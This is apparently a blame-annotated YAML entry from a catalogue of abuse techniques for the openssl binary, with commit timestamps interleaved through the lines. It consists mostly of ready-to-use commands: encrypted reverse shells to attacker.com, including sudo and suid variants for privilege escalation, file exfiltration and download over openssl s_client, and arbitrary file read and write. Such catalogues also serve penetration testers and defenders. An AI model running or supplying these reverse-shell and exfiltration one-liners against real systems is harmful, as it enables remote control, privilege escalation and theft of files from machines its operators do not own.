2018-12-17 14:46:30 +01:00
|
|
|
---
|
|
|
|
functions:
|
2019-03-05 09:37:52 +01:00
|
|
|
reverse-shell:
|
2019-03-06 13:53:52 +01:00
|
|
|
- description: |
|
|
|
|
To receive the shell run the following on the attacker box:
|
|
|
|
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
|
|
|
|
|
|
|
|
Communication between attacker and target will be encrypted.
|
2019-03-05 09:37:52 +01:00
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
2019-03-06 13:54:16 +01:00
|
|
|
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
|
2019-03-05 09:37:52 +01:00
|
|
|
file-upload:
|
2019-03-06 13:53:52 +01:00
|
|
|
- description: |
|
|
|
|
To collect the file run the following on the attacker box:
|
|
|
|
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > file_to_save
|
|
|
|
|
|
|
|
Send a file to a TCP port, transmission will be encrypted.
|
2019-03-05 09:37:52 +01:00
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
|
|
|
LFILE=file_to_send
|
2019-03-06 13:54:16 +01:00
|
|
|
openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT < "$LFILE"
|
2019-03-05 09:37:52 +01:00
|
|
|
file-download:
|
2019-03-06 13:53:52 +01:00
|
|
|
- description: |
|
|
|
|
To send the file run the following on the attacker box:
|
|
|
|
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 < file_to_send
|
|
|
|
|
|
|
|
Fetch a file from a TCP port, transmission will be encrypted.
|
2019-03-05 09:37:52 +01:00
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
|
|
|
LFILE=file_to_save
|
|
|
|
openssl s_client -quiet -connect $RHOST:$RPORT > "$LFILE"
|
2018-12-17 14:46:30 +01:00
|
|
|
file-write:
|
|
|
|
- code: |
|
|
|
|
LFILE=file_to_write
|
|
|
|
echo DATA | openssl enc -out "$LFILE"
|
|
|
|
- code: |
|
|
|
|
LFILE=file_to_write
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo "DATA" > $TF
|
|
|
|
openssl enc -in "$TF" -out "$LFILE"
|
|
|
|
file-read:
|
|
|
|
- code: |
|
|
|
|
LFILE=file_to_read
|
|
|
|
openssl enc -in "$LFILE"
|
|
|
|
suid:
|
2019-03-06 14:08:42 +01:00
|
|
|
- description: |
|
|
|
|
To receive the shell run the following on the attacker box:
|
|
|
|
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
|
|
|
|
|
|
|
|
Communication between attacker and target will be encrypted.
|
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
|
|
|
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ./openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
|
|
|
|
|
2018-12-17 14:46:30 +01:00
|
|
|
- code: |
|
|
|
|
LFILE=file_to_write
|
|
|
|
echo DATA | openssl enc -out "$LFILE"
|
|
|
|
sudo:
|
2019-03-06 14:08:42 +01:00
|
|
|
- description: |
|
|
|
|
To receive the shell run the following on the attacker box:
|
|
|
|
|
|
|
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
|
|
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
|
|
|
|
|
|
|
|
Communication between attacker and target will be encrypted.
|
|
|
|
code: |
|
|
|
|
RHOST=attacker.com
|
|
|
|
RPORT=12345
|
|
|
|
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | sudo openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
|
2018-12-17 14:46:30 +01:00
|
|
|
---
|